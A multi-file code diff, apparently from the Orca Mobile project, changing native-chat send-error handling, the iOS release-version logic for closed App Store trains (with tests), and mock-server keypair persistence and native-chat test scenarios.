nativeChatStream.notifyWebReady(handle, wasAlreadyReady)
|
||||
terminalDiagnosticsRef.current.webViewReady(
|
||||
handle,
|
||||
wasAlreadyReady,
|
||||
@@ -2928,7 +2964,7 @@ export default function SessionScreen() {
|
||||
})()
|
||||
}
|
||||
},
|
||||
[measureViewportOnce, notifyTerminalWebReady, subscribeToTerminal, unsubscribeTerminal]
|
||||
[measureViewportOnce, nativeChatStream, subscribeToTerminal, unsubscribeTerminal]
|
||||
)
|
||||
|
||||
useEffect(() => {
|
||||
@@ -3631,12 +3667,13 @@ export default function SessionScreen() {
|
||||
canSend,
|
||||
connState,
|
||||
deviceTokenRef,
|
||||
nativeChatScopeKey: mobileNativeChatScopeKey(hostId, worktreeId, activeSessionTabId),
|
||||
nativeChatScopeKey,
|
||||
nativeChatInputLeaseReady,
|
||||
getActiveWorktreeConnectionId,
|
||||
beforeTerminalSend: flushPendingLiveInputBeforeAttachmentSend,
|
||||
nativeChatBaseSend: nativeChatController.handleNativeChatSendWithOutcome,
|
||||
showToast,
|
||||
onNativeChatSendError: nativeChatSendError.show,
|
||||
onSuccess: triggerSelection,
|
||||
onError: triggerError
|
||||
})
|
||||
@@ -4720,6 +4757,8 @@ export default function SessionScreen() {
|
||||
onMicPressIn={handleDictationPressIn}
|
||||
onMicPressOut={handleDictationPressOut}
|
||||
inputLockReason={nativeChatInputLockReason}
|
||||
sendErrorMessage={nativeChatSendError.message}
|
||||
onClearSendError={nativeChatSendError.clear}
|
||||
keyboardInset={keyboardLift}
|
||||
/>
|
||||
{toastMessage && (
|
||||
|
||||
+46
-16
@@ -36,8 +36,15 @@ DEFAULT_TESTFLIGHT_CHANGELOG = "Latest Orca Mobile updates and fixes.".freeze
|
||||
# closed"). Only approved/released/removed states qualify: a version that is
|
||||
# merely IN_REVIEW / WAITING_FOR_REVIEW / PROCESSING_FOR_APP_STORE still accepts
|
||||
# TestFlight builds, so bumping on those would break normal beta iteration.
|
||||
#
|
||||
# Covers both vocabularies: `appStoreState` is deprecated as of App Store
|
||||
# Connect API 3.3 in favor of `appVersionState`, which renames the shipped state
|
||||
# (READY_FOR_SALE -> READY_FOR_DISTRIBUTION) and drops the removed-from-sale
|
||||
# ones. Reading whichever field Apple populates keeps the guard working through
|
||||
# the transition instead of silently finding zero closed versions.
|
||||
CLOSED_APP_STORE_STATES = %w[
|
||||
READY_FOR_SALE
|
||||
READY_FOR_DISTRIBUTION
|
||||
PENDING_DEVELOPER_RELEASE
|
||||
PENDING_APPLE_RELEASE
|
||||
REPLACED_WITH_NEW_VERSION
|
||||
@@ -67,22 +74,42 @@ def current_mobile_version(config)
|
||||
config.fetch("expo").fetch("version")
|
||||
end
|
||||
|
||||
# Returns true when `version`'s App Store train is closed to new build uploads.
|
||||
# `app` is a Spaceship::ConnectAPI::App the caller looks up (nil if lookup
|
||||
# failed). On a nil app or any API error, degrade to "open": we then proceed as
|
||||
# before this check existed — the upload either succeeds or fails with the same
|
||||
# 90186 we have always seen, never worse than today's behavior.
|
||||
def version_train_closed?(app, version)
|
||||
return false unless app
|
||||
# True when either state field reports a terminally closed train. `respond_to?`
|
||||
# guards the newer field, which older spaceship versions do not define.
|
||||
def closed_state?(app_store_version)
|
||||
states = [app_store_version.app_store_state]
|
||||
states << app_store_version.app_version_state if app_store_version.respond_to?(:app_version_state)
|
||||
|
||||
app
|
||||
.get_app_store_versions(filter: { versionString: version })
|
||||
.any? { |app_store_version| CLOSED_APP_STORE_STATES.include?(app_store_version.app_store_state) }
|
||||
states.compact.any? { |state| CLOSED_APP_STORE_STATES.include?(state) }
|
||||
end
|
||||
|
||||
# Highest version whose App Store record is in a terminally closed state, or nil
|
||||
# when none is (or the lookup fails). Fetched once because the answer is a
|
||||
# property of the app, not of any single candidate version.
|
||||
#
|
||||
# Why the whole list rather than a per-version lookup: a version only gets an
|
||||
# App Store record once someone submits it. 0.0.34 was uploaded to TestFlight
|
||||
# but never submitted, so it had no record and a filtered lookup found nothing
|
||||
# closed — while 0.0.35 shipped, which closes 0.0.34 too (Apple: 90062 requires
|
||||
# a *higher* version than the last approved one).
|
||||
#
|
||||
# On a nil app or any API error, degrade to "open": we then proceed as before
|
||||
# this check existed — the upload either succeeds or fails with the same 90186
|
||||
# we have always seen, never worse than today's behavior.
|
||||
def highest_closed_app_store_version(app)
|
||||
return nil unless app
|
||||
|
||||
closed = app
|
||||
.get_app_store_versions
|
||||
.select { |app_store_version| closed_state?(app_store_version) }
|
||||
.map(&:version_string)
|
||||
|
||||
IosReleaseVersion.max_version(closed)
|
||||
rescue StandardError => error
|
||||
# Loud, not silent: a swallowed error here un-fixes the 90186 guard, so the
|
||||
# degraded run must be visible rather than buried.
|
||||
UI.error("Could not determine App Store state for #{version} (#{error.message}); assuming open and proceeding.")
|
||||
false
|
||||
UI.error("Could not determine closed App Store versions (#{error.message}); assuming open and proceeding.")
|
||||
nil
|
||||
end
|
||||
|
||||
def testflight_changelog
|
||||
@@ -103,13 +130,16 @@ platform :ios do
|
||||
UI.error("Could not look up App Store app #{BUNDLE_ID} (#{error.message}); skipping closed-train check.")
|
||||
nil
|
||||
end
|
||||
highest_closed = highest_closed_app_store_version(app)
|
||||
UI.message("Highest closed App Store version: #{highest_closed || 'none'}")
|
||||
|
||||
version =
|
||||
begin
|
||||
IosReleaseVersion.resolve(
|
||||
requested: options[:version],
|
||||
bump_patch: options[:bump_patch],
|
||||
current_version: current_mobile_version(config),
|
||||
train_closed: ->(candidate) { version_train_closed?(app, candidate) },
|
||||
train_closed: ->(candidate) { IosReleaseVersion.closed_train?(candidate, highest_closed) },
|
||||
)
|
||||
rescue ArgumentError => error
|
||||
UI.user_error!(error.message)
|
||||
@@ -117,7 +147,7 @@ platform :ios do
|
||||
|
||||
# Explicit and checked-in versions still fail fast when closed. Patch bumps
|
||||
# skip closed trains above because workflow-only releases can outpace Git.
|
||||
if version_train_closed?(app, version)
|
||||
if IosReleaseVersion.closed_train?(version, highest_closed)
|
||||
retry_guidance =
|
||||
if IosReleaseVersion.truthy?(options[:bump_patch])
|
||||
"Use a higher release_version or land a \"Prepare mobile <version>\" commit."
|
||||
@@ -126,8 +156,8 @@ platform :ios do
|
||||
"or land a \"Prepare mobile <version>\" commit."
|
||||
end
|
||||
UI.user_error!(
|
||||
"iOS version #{version} is already submitted/released on the App Store and cannot accept " \
|
||||
"new builds. #{retry_guidance}",
|
||||
"iOS version #{version} is not higher than #{highest_closed}, which is already " \
|
||||
"submitted/released on the App Store, so Apple will reject the upload. #{retry_guidance}",
|
||||
)
|
||||
end
|
||||
|
||||
|
||||
@@ -1,15 +1,47 @@
|
||||
module IosReleaseVersion
|
||||
module_function
|
||||
|
||||
SEMVER_PATTERN = /\A(\d+)\.(\d+)\.(\d+)\z/.freeze
|
||||
|
||||
def truthy?(value)
|
||||
%w[1 true yes on].include?(value.to_s.strip.downcase)
|
||||
end
|
||||
|
||||
def bump_patch(version)
|
||||
match = version.match(/\A(\d+)\.(\d+)\.(\d+)\z/)
|
||||
raise ArgumentError, "Cannot bump non-semver mobile version '#{version}'" unless match
|
||||
# [major, minor, patch] for semver comparison, or nil for anything else.
|
||||
def parse(version)
|
||||
match = version.to_s.strip.match(SEMVER_PATTERN)
|
||||
return nil unless match
|
||||
|
||||
"#{match[1]}.#{match[2]}.#{match[3].to_i + 1}"
|
||||
[match[1].to_i, match[2].to_i, match[3].to_i]
|
||||
end
|
||||
|
||||
def bump_patch(version)
|
||||
parts = parse(version)
|
||||
raise ArgumentError, "Cannot bump non-semver mobile version '#{version}'" unless parts
|
||||
|
||||
"#{parts[0]}.#{parts[1]}.#{parts[2] + 1}"
|
||||
end
|
||||
|
||||
# Highest semver in `versions`, skipping entries App Store Connect reports in
|
||||
# a non-semver shape. Compares numerically: "0.0.10" beats "0.0.9", which a
|
||||
# string sort gets backwards.
|
||||
def max_version(versions)
|
||||
Array(versions)
|
||||
.map { |version| version.to_s.strip }
|
||||
.select { |version| parse(version) }
|
||||
.max_by { |version| parse(version) }
|
||||
end
|
||||
|
||||
# Apple rejects an upload whose CFBundleShortVersionString is not higher than
|
||||
# the last approved version (90062) and reports that version's train as closed
|
||||
# (90186). So every version at or below `highest_closed` is unusable, not just
|
||||
# the ones whose own App Store record sits in a closed state.
|
||||
def closed_train?(version, highest_closed)
|
||||
candidate = parse(version)
|
||||
ceiling = parse(highest_closed)
|
||||
return false unless candidate && ceiling
|
||||
|
||||
(candidate <=> ceiling) <= 0
|
||||
end
|
||||
|
||||
def resolve(requested:, bump_patch:, current_version:, train_closed:)
|
||||
|
||||
@@ -45,4 +45,51 @@ class IosReleaseVersionTest < Minitest::Test
|
||||
|
||||
assert_equal("Cannot bump non-semver mobile version '0.0'", error.message)
|
||||
end
|
||||
|
||||
# The 0.0.34 regression: 0.0.35 shipped, so every version at or below it is
|
||||
# closed even though 0.0.34 itself never got an App Store record.
|
||||
def test_versions_at_or_below_the_highest_closed_version_are_closed
|
||||
assert(IosReleaseVersion.closed_train?("0.0.34", "0.0.35"))
|
||||
assert(IosReleaseVersion.closed_train?("0.0.35", "0.0.35"))
|
||||
refute(IosReleaseVersion.closed_train?("0.0.36", "0.0.35"))
|
||||
end
|
||||
|
||||
def test_nothing_is_closed_without_a_known_closed_version
|
||||
refute(IosReleaseVersion.closed_train?("0.0.1", nil))
|
||||
refute(IosReleaseVersion.closed_train?("0.0.1", ""))
|
||||
end
|
||||
|
||||
def test_non_semver_candidates_are_treated_as_open
|
||||
refute(IosReleaseVersion.closed_train?("0.0", "0.0.35"))
|
||||
end
|
||||
|
||||
def test_resolve_skips_past_the_highest_closed_version
|
||||
version = IosReleaseVersion.resolve(
|
||||
requested: "",
|
||||
bump_patch: true,
|
||||
current_version: "0.0.32",
|
||||
train_closed: ->(candidate) { IosReleaseVersion.closed_train?(candidate, "0.0.35") },
|
||||
)
|
||||
|
||||
assert_equal("0.0.36", version)
|
||||
end
|
||||
|
||||
def test_max_version_compares_numerically_not_lexically
|
||||
assert_equal("0.0.10", IosReleaseVersion.max_version(%w[0.0.9 0.0.10 0.0.2]))
|
||||
assert_equal("0.2.0", IosReleaseVersion.max_version(%w[0.1.99 0.2.0]))
|
||||
assert_equal("1.0.0", IosReleaseVersion.max_version(%w[0.9.9 1.0.0]))
|
||||
end
|
||||
|
||||
def test_max_version_ignores_non_semver_entries
|
||||
assert_equal("0.0.35", IosReleaseVersion.max_version(["0.0.35", "1.0", "", nil]))
|
||||
assert_nil(IosReleaseVersion.max_version([]))
|
||||
assert_nil(IosReleaseVersion.max_version(nil))
|
||||
end
|
||||
|
||||
# Minor/major releases must close stale patch trains beneath them.
|
||||
def test_closed_train_compares_across_minor_and_major
|
||||
assert(IosReleaseVersion.closed_train?("0.0.99", "0.1.0"))
|
||||
assert(IosReleaseVersion.closed_train?("0.9.9", "1.0.0"))
|
||||
refute(IosReleaseVersion.closed_train?("1.0.1", "1.0.0"))
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,167 @@
|
||||
import { randomUUID } from 'node:crypto'
|
||||
import {
|
||||
chmodSync,
|
||||
closeSync,
|
||||
openSync,
|
||||
readFileSync,
|
||||
renameSync,
|
||||
rmSync,
|
||||
unlinkSync,
|
||||
writeFileSync
|
||||
} from 'node:fs'
|
||||
import nacl from 'tweetnacl'
|
||||
|
||||
const LOCK_ATTEMPTS = 50
|
||||
const LOCK_WAIT_MS = 10
|
||||
const RENAME_ATTEMPTS = 5
|
||||
const RENAME_WAIT_MS = 25
|
||||
const lockWaitSignal = new Int32Array(new SharedArrayBuffer(4))
|
||||
|
||||
type KeyReadResult =
|
||||
| { keyPair: nacl.BoxKeyPair; reason?: never }
|
||||
| { keyPair?: never; reason: string }
|
||||
|
||||
type KeyLockResult =
|
||||
| { fd: number; lockFile: string; keyPair?: never }
|
||||
| { fd?: never; lockFile?: never; keyPair: nacl.BoxKeyPair }
|
||||
|
||||
type KeyWarningLogger = Pick<Console, 'warn'>
|
||||
|
||||
function errnoCode(error: unknown): string | undefined {
|
||||
return (error as NodeJS.ErrnoException | null)?.code
|
||||
}
|
||||
|
||||
function readKeyPair(keyFile: string): KeyReadResult {
|
||||
try {
|
||||
const encoded = readFileSync(keyFile, 'utf-8').trim()
|
||||
if (!encoded) {
|
||||
return { reason: 'empty' }
|
||||
}
|
||||
const decoded = Buffer.from(encoded, 'base64')
|
||||
if (decoded.toString('base64') !== encoded) {
|
||||
return { reason: 'invalid base64' }
|
||||
}
|
||||
if (decoded.length !== nacl.box.secretKeyLength) {
|
||||
return { reason: `wrong length (${decoded.length} bytes)` }
|
||||
}
|
||||
return { keyPair: nacl.box.keyPair.fromSecretKey(Uint8Array.from(decoded)) }
|
||||
} catch (error) {
|
||||
return { reason: errnoCode(error) === 'ENOENT' ? 'missing' : 'unreadable' }
|
||||
}
|
||||
}
|
||||
|
||||
function acquireKeyLock(keyFile: string): KeyLockResult {
|
||||
const lockFile = `${keyFile}.lock`
|
||||
for (let attempt = 0; attempt < LOCK_ATTEMPTS; attempt += 1) {
|
||||
try {
|
||||
return { fd: openSync(lockFile, 'wx', 0o600), lockFile }
|
||||
} catch (error) {
|
||||
if (errnoCode(error) !== 'EEXIST') {
|
||||
throw error
|
||||
}
|
||||
const concurrent = readKeyPair(keyFile)
|
||||
if (concurrent.keyPair) {
|
||||
return { keyPair: concurrent.keyPair }
|
||||
}
|
||||
if (attempt < LOCK_ATTEMPTS - 1) {
|
||||
Atomics.wait(lockWaitSignal, 0, 0, LOCK_WAIT_MS)
|
||||
}
|
||||
}
|
||||
}
|
||||
const winner = readKeyPair(keyFile)
|
||||
if (winner.keyPair) {
|
||||
return { keyPair: winner.keyPair }
|
||||
}
|
||||
try {
|
||||
return { fd: openSync(lockFile, 'wx', 0o600), lockFile }
|
||||
} catch (error) {
|
||||
if (errnoCode(error) !== 'EEXIST') {
|
||||
throw error
|
||||
}
|
||||
const lateWinner = readKeyPair(keyFile)
|
||||
if (lateWinner.keyPair) {
|
||||
return { keyPair: lateWinner.keyPair }
|
||||
}
|
||||
}
|
||||
throw new Error(
|
||||
`[mock] Key file lock ${lockFile} remained busy; remove it if no mock server is running`
|
||||
)
|
||||
}
|
||||
|
||||
function renameKeyFile(temporaryFile: string, keyFile: string): void {
|
||||
for (let attempt = 0; attempt < RENAME_ATTEMPTS; attempt += 1) {
|
||||
try {
|
||||
renameSync(temporaryFile, keyFile)
|
||||
return
|
||||
} catch (error) {
|
||||
if (
|
||||
!['EACCES', 'EBUSY', 'EPERM'].includes(errnoCode(error) ?? '') ||
|
||||
attempt === RENAME_ATTEMPTS - 1
|
||||
) {
|
||||
throw error
|
||||
}
|
||||
Atomics.wait(lockWaitSignal, 0, 0, RENAME_WAIT_MS)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function persistKeyPair(keyFile: string, keyPair: nacl.BoxKeyPair): void {
|
||||
const temporaryFile = `${keyFile}.${process.pid}.${randomUUID()}.tmp`
|
||||
try {
|
||||
writeFileSync(temporaryFile, Buffer.from(keyPair.secretKey).toString('base64'), {
|
||||
flag: 'wx',
|
||||
mode: 0o600
|
||||
})
|
||||
if (process.platform !== 'win32') {
|
||||
chmodSync(temporaryFile, 0o600)
|
||||
}
|
||||
renameKeyFile(temporaryFile, keyFile)
|
||||
} finally {
|
||||
try {
|
||||
rmSync(temporaryFile, { force: true })
|
||||
} catch {}
|
||||
}
|
||||
}
|
||||
|
||||
function releaseKeyLock(lock: { fd: number; lockFile: string }): void {
|
||||
try {
|
||||
closeSync(lock.fd)
|
||||
} catch {}
|
||||
try {
|
||||
unlinkSync(lock.lockFile)
|
||||
} catch {}
|
||||
}
|
||||
|
||||
export function loadOrCreateMockServerKeyPair(
|
||||
keyFile: string | undefined,
|
||||
logger: KeyWarningLogger = console
|
||||
): nacl.BoxKeyPair {
|
||||
if (!keyFile) {
|
||||
return nacl.box.keyPair()
|
||||
}
|
||||
const existing = readKeyPair(keyFile)
|
||||
if (existing.keyPair) {
|
||||
return existing.keyPair
|
||||
}
|
||||
|
||||
const lock = acquireKeyLock(keyFile)
|
||||
if (lock.keyPair) {
|
||||
return lock.keyPair
|
||||
}
|
||||
let selected: nacl.BoxKeyPair
|
||||
try {
|
||||
const current = readKeyPair(keyFile)
|
||||
if (current.keyPair) {
|
||||
selected = current.keyPair
|
||||
} else {
|
||||
logger.warn(
|
||||
`[mock] Key file ${keyFile} is ${current.reason} — minting a fresh key; paired devices must re-pair`
|
||||
)
|
||||
selected = nacl.box.keyPair()
|
||||
persistKeyPair(keyFile, selected)
|
||||
}
|
||||
} finally {
|
||||
releaseKeyLock(lock)
|
||||
}
|
||||
return selected
|
||||
}
|
||||
@@ -0,0 +1,275 @@
|
||||
import { readFileSync } from 'node:fs'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import type { WebSocket } from 'ws'
|
||||
import type { AgentStatusEntry } from '../../src/shared/agent-status-types'
|
||||
import type {
|
||||
RuntimeMobileSessionTabsResult,
|
||||
RuntimeMobileSessionTerminalClientTab
|
||||
} from '../../src/shared/runtime-types'
|
||||
import type { RpcRequest, RpcResponse } from './mock-server-rpc-handlers'
|
||||
|
||||
// Why: native chat needs a live agent tab, an empty-but-subscribed transcript,
|
||||
// and a terminal send path whose acceptance can be flipped mid-session.
|
||||
// Restarting the server re-keys E2EE (forcing a re-pair), so send behaviour is
|
||||
// read from a control file on every request instead of an env var.
|
||||
const SEND_MODE_FILE = process.env.MOCK_SEND_MODE_FILE ?? join(tmpdir(), 'orca-mock-send-mode')
|
||||
const TERMINAL_LIST_MODE_FILE =
|
||||
process.env.MOCK_TERMINAL_LIST_MODE_FILE ?? join(tmpdir(), 'orca-mock-terminal-list-mode')
|
||||
// Write `dead` here to reproduce a gone PTY: the host answers with `subscribed`
|
||||
// then `end`, which is the shape the rearm bound and terminal prune react to.
|
||||
const TERMINAL_STREAM_MODE_FILE =
|
||||
process.env.MOCK_TERMINAL_STREAM_MODE_FILE ?? join(tmpdir(), 'orca-mock-terminal-stream-mode')
|
||||
const TERMINAL_HANDLE = 'chat-term-1'
|
||||
const TAB_ID = 'chat-tab-1'
|
||||
const SESSION_ID = 'mock-chat-session'
|
||||
const TRANSCRIPT_PATH = join(tmpdir(), 'mock-transcript.jsonl')
|
||||
const MOCK_IMAGE_PATH = join(tmpdir(), 'mock-image.png')
|
||||
|
||||
function readControl(file: string): string {
|
||||
try {
|
||||
return readFileSync(file, 'utf-8').trim()
|
||||
} catch {
|
||||
// Default to the happy path when the control file is absent.
|
||||
return ''
|
||||
}
|
||||
}
|
||||
|
||||
const tabsSnapshots = new Map<string, { version: number; signature: string }>()
|
||||
const agentStatus: AgentStatusEntry = {
|
||||
state: 'done',
|
||||
prompt: '',
|
||||
updatedAt: Date.now(),
|
||||
stateStartedAt: Date.now(),
|
||||
agentType: 'claude',
|
||||
paneKey: `${TAB_ID}:leaf-1`,
|
||||
terminalHandle: TERMINAL_HANDLE,
|
||||
stateHistory: [],
|
||||
providerSession: {
|
||||
key: 'session_id',
|
||||
id: SESSION_ID,
|
||||
transcriptPath: TRANSCRIPT_PATH
|
||||
}
|
||||
}
|
||||
|
||||
function buildTab(): RuntimeMobileSessionTerminalClientTab {
|
||||
return {
|
||||
type: 'terminal',
|
||||
id: TAB_ID,
|
||||
title: 'Claude Code',
|
||||
parentTabId: TAB_ID,
|
||||
leafId: 'leaf-1',
|
||||
ptyId: 'pty-1',
|
||||
status: 'ready',
|
||||
terminal: TERMINAL_HANDLE,
|
||||
launchAgent: 'claude',
|
||||
agentStatus,
|
||||
viewMode: 'chat',
|
||||
isActive: true
|
||||
}
|
||||
}
|
||||
|
||||
// Versions are per-worktree and only advance on real content change, so the
|
||||
// mock can't fake a re-render heartbeat the runtime would never send.
|
||||
function buildTabsResult(worktree: string): RuntimeMobileSessionTabsResult {
|
||||
const result: RuntimeMobileSessionTabsResult = {
|
||||
worktree,
|
||||
publicationEpoch: 'mock-epoch-1',
|
||||
snapshotVersion: 0,
|
||||
activeGroupId: 'group-1',
|
||||
activeTabId: TAB_ID,
|
||||
activeTabType: 'terminal',
|
||||
tabGroups: [{ id: 'group-1', activeTabId: TAB_ID, tabOrder: [TAB_ID] }],
|
||||
tabs: [buildTab()]
|
||||
}
|
||||
const signature = JSON.stringify(result)
|
||||
const previous = tabsSnapshots.get(worktree)
|
||||
const current =
|
||||
previous?.signature === signature
|
||||
? previous
|
||||
: { version: (previous?.version ?? 0) + 1, signature }
|
||||
tabsSnapshots.set(worktree, current)
|
||||
result.snapshotVersion = current.version
|
||||
return result
|
||||
}
|
||||
|
||||
function tabsResultIfChanged(worktree: string): RuntimeMobileSessionTabsResult | null {
|
||||
const before = tabsSnapshots.get(worktree)?.version
|
||||
const result = buildTabsResult(worktree)
|
||||
return result.snapshotVersion === before ? null : result
|
||||
}
|
||||
|
||||
function worktreeOf(request: RpcRequest): string {
|
||||
const raw = request.params?.worktree
|
||||
return typeof raw === 'string' ? raw : 'id:mock-worktree'
|
||||
}
|
||||
|
||||
// Why: unsubscribe correlates by worktree, not request id, and a socket that
|
||||
// navigates A->B->A would otherwise stack one push loop per subscribe.
|
||||
const tabsPushLoops = new Map<WebSocket, Map<string, ReturnType<typeof setInterval>>>()
|
||||
|
||||
function stopTabsPushLoop(ws: WebSocket, worktree: string): void {
|
||||
const loops = tabsPushLoops.get(ws)
|
||||
const existing = loops?.get(worktree)
|
||||
if (existing !== undefined) {
|
||||
clearInterval(existing)
|
||||
loops?.delete(worktree)
|
||||
}
|
||||
}
|
||||
|
||||
function startTabsPushLoop(ws: WebSocket, worktree: string, push: () => void): void {
|
||||
stopTabsPushLoop(ws, worktree)
|
||||
const interval = setInterval(() => {
|
||||
if (ws.readyState !== ws.OPEN) {
|
||||
stopTabsPushLoop(ws, worktree)
|
||||
return
|
||||
}
|
||||
push()
|
||||
}, 3000)
|
||||
let loops = tabsPushLoops.get(ws)
|
||||
if (!loops) {
|
||||
loops = new Map()
|
||||
tabsPushLoops.set(ws, loops)
|
||||
ws.once('close', () => {
|
||||
for (const timer of tabsPushLoops.get(ws)?.values() ?? []) {
|
||||
clearInterval(timer)
|
||||
}
|
||||
tabsPushLoops.delete(ws)
|
||||
})
|
||||
}
|
||||
loops.set(worktree, interval)
|
||||
}
|
||||
|
||||
type Respond = (response: RpcResponse) => void
|
||||
type Success = (id: string, result: unknown, streaming?: boolean) => RpcResponse
|
||||
type Failure = (id: string, code: string, message: string) => RpcResponse
|
||||
|
||||
/** Mock backend for the native-chat surface: session tabs, an empty transcript
|
||||
* snapshot, terminal send, and image upload. Opt-in via MOCK_NATIVE_CHAT=1
|
||||
* because it replaces the default terminal fixtures. No transcript or terminal
|
||||
* output frames are pushed. Returns false for methods it does not own. */
|
||||
export function handleMockNativeChatRequest(
|
||||
request: RpcRequest,
|
||||
respond: Respond,
|
||||
success: Success,
|
||||
error: Failure,
|
||||
ws: WebSocket
|
||||
): boolean {
|
||||
if (process.env.MOCK_NATIVE_CHAT !== '1') {
|
||||
return false
|
||||
}
|
||||
switch (request.method) {
|
||||
case 'session.tabs.list':
|
||||
respond(success(request.id, buildTabsResult(worktreeOf(request))))
|
||||
return true
|
||||
|
||||
case 'session.tabs.subscribe': {
|
||||
const worktree = worktreeOf(request)
|
||||
respond(success(request.id, buildTabsResult(worktree), true))
|
||||
startTabsPushLoop(ws, worktree, () => {
|
||||
const changed = tabsResultIfChanged(worktree)
|
||||
if (changed) {
|
||||
respond(success(request.id, changed, true))
|
||||
}
|
||||
})
|
||||
return true
|
||||
}
|
||||
|
||||
case 'session.tabs.unsubscribe':
|
||||
stopTabsPushLoop(ws, worktreeOf(request))
|
||||
respond(success(request.id, { ok: true }))
|
||||
return true
|
||||
|
||||
case 'session.tabs.activate':
|
||||
case 'nativeChat.unsubscribe':
|
||||
respond(success(request.id, { ok: true }))
|
||||
return true
|
||||
|
||||
case 'terminal.list': {
|
||||
// `omit` = empty list; `other` = a live list that just doesn't name the
|
||||
// chat handle (what the runtime returns when the handle is scoped to a
|
||||
// different worktree id than the one mobile queries).
|
||||
const mode = readControl(TERMINAL_LIST_MODE_FILE)
|
||||
const worktreeId = worktreeOf(request).replace(/^id:/, '')
|
||||
const entry = (handle: string) => ({
|
||||
handle,
|
||||
worktreeId,
|
||||
title: 'Claude Code',
|
||||
isActive: true,
|
||||
hasRunningProcess: true
|
||||
})
|
||||
const terminals =
|
||||
mode === 'omit'
|
||||
? []
|
||||
: mode === 'other'
|
||||
? [entry('some-other-term')]
|
||||
: [entry(TERMINAL_HANDLE)]
|
||||
respond(success(request.id, { terminals, totalCount: terminals.length, truncated: false }))
|
||||
return true
|
||||
}
|
||||
|
||||
case 'nativeChat.subscribe':
|
||||
respond(success(request.id, { type: 'snapshot', messages: [], hasMore: false }, true))
|
||||
return true
|
||||
|
||||
case 'nativeChat.readSession':
|
||||
respond(success(request.id, { messages: [], hasMore: false }))
|
||||
return true
|
||||
|
||||
case 'terminal.subscribe': {
|
||||
// The `subscribed` frame is what releases mobile's native-chat input lease.
|
||||
respond(success(request.id, { type: 'subscribed', terminal: TERMINAL_HANDLE }, true))
|
||||
if (readControl(TERMINAL_STREAM_MODE_FILE) === 'dead') {
|
||||
respond(success(request.id, { type: 'end' }))
|
||||
return true
|
||||
}
|
||||
respond(
|
||||
success(
|
||||
request.id,
|
||||
{ type: 'scrollback', serialized: '', cols: 80, rows: 24, seq: 1 },
|
||||
true
|
||||
)
|
||||
)
|
||||
return true
|
||||
}
|
||||
|
||||
case 'terminal.send': {
|
||||
const mode = readControl(SEND_MODE_FILE) || 'accept'
|
||||
console.log(`[mock] terminal.send mode=${mode} text=${JSON.stringify(request.params?.text)}`)
|
||||
if (mode === 'error') {
|
||||
respond(error(request.id, 'mobile_input_floor_unavailable', 'Mobile input floor is held'))
|
||||
return true
|
||||
}
|
||||
respond(
|
||||
success(request.id, {
|
||||
send: {
|
||||
handle: TERMINAL_HANDLE,
|
||||
accepted: mode === 'accept',
|
||||
bytesWritten: mode === 'accept' ? String(request.params?.text ?? '').length : 0
|
||||
}
|
||||
})
|
||||
)
|
||||
return true
|
||||
}
|
||||
|
||||
case 'clipboard.startImageUpload':
|
||||
respond(success(request.id, { uploadId: 'mock-upload-1' }))
|
||||
return true
|
||||
|
||||
case 'clipboard.appendImageUploadChunk':
|
||||
respond(success(request.id, { ok: true }))
|
||||
return true
|
||||
|
||||
case 'clipboard.commitImageUpload':
|
||||
case 'clipboard.saveImageAsTempFile':
|
||||
respond(success(request.id, MOCK_IMAGE_PATH))
|
||||
return true
|
||||
|
||||
case 'clipboard.abortImageUpload':
|
||||
respond(success(request.id, { ok: true }))
|
||||
return true
|
||||
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
@@ -11,6 +11,7 @@ import type { TerminalQuickCommand } from '../../src/shared/types'
|
||||
import { handleMockFilePreviewRequest } from './mock-server-file-preview-data'
|
||||
import { handleMockGitRequest } from './mock-server-git-state'
|
||||
import { handleMockAccountRequest } from './mock-server-account-rpc'
|
||||
import { handleMockNativeChatRequest } from './mock-server-native-chat-scenario'
|
||||
import {
|
||||
createMockTerminals,
|
||||
FAKE_SCROLLBACK,
|
||||
@@ -118,13 +119,13 @@ export function handleRequest(
|
||||
send(response)
|
||||
}
|
||||
|
||||
if (handleMockGitRequest(request, respond, success)) {
|
||||
return
|
||||
}
|
||||
if (handleMockFilePreviewRequest(request, respond, success, error)) {
|
||||
return
|
||||
}
|
||||
if (handleMockAccountRequest(request, respond, success, error)) {
|
||||
// Each returns false for methods it does not own; first owner wins.
|
||||
if (
|
||||
handleMockGitRequest(request, respond, success) ||
|
||||
handleMockFilePreviewRequest(request, respond, success, error) ||
|
||||
handleMockAccountRequest(request, respond, success, error) ||
|
||||
handleMockNativeChatRequest(request, respond, success, error, ws)
|
||||
) {
|
||||
return
|
||||
}
|
||||
|
||||
|
||||
@@ -3,8 +3,8 @@
|
||||
// a running Orca desktop instance. Responds to the same RPC methods the real
|
||||
// runtime exposes, with realistic fake data. Supports E2EE handshake.
|
||||
import { WebSocketServer, type WebSocket } from 'ws'
|
||||
import nacl from 'tweetnacl'
|
||||
import { deriveSharedKey, e2eeDecrypt, e2eeEncrypt, type E2EEState } from './mock-server-encryption'
|
||||
import { loadOrCreateMockServerKeyPair } from './mock-server-key-pair'
|
||||
import {
|
||||
error,
|
||||
handleRequest,
|
||||
@@ -17,7 +17,9 @@ const AUTH_TOKEN = 'mock-device-token'
|
||||
|
||||
// Why: generate a persistent server keypair for this mock session.
|
||||
// The public key is printed at startup so it can be used in pairing QR data.
|
||||
const serverKeyPair = nacl.box.keyPair()
|
||||
// MOCK_SERVER_KEY_FILE reuses one across restarts so a paired device (which
|
||||
// pins the public key) survives a server restart.
|
||||
const serverKeyPair = loadOrCreateMockServerKeyPair(process.env.MOCK_SERVER_KEY_FILE)
|
||||
const serverPublicKeyB64 = Buffer.from(serverKeyPair.publicKey).toString('base64')
|
||||
|
||||
const wss = new WebSocketServer({ port: PORT })
|
||||
|
||||
@@ -85,7 +85,11 @@ async function waitForPairingRuntime({ child, userData, pairingAddress, logSucce
|
||||
process: child,
|
||||
env: {
|
||||
...process.env,
|
||||
ORCA_USER_DATA_PATH: userData
|
||||
ORCA_USER_DATA_PATH: userData,
|
||||
// Why: `orca-dev` derives its own profile and ignores ORCA_USER_DATA_PATH, so
|
||||
// without this an ORCA_CLI=orca-dev run would address the dev profile instead
|
||||
// of this disposable runtime. Plain `orca` ignores it.
|
||||
ORCA_DEV_USER_DATA_PATH: userData
|
||||
},
|
||||
stop
|
||||
})
|
||||
|
||||
@@ -0,0 +1,209 @@
|
||||
import { spawn } from 'node:child_process'
|
||||
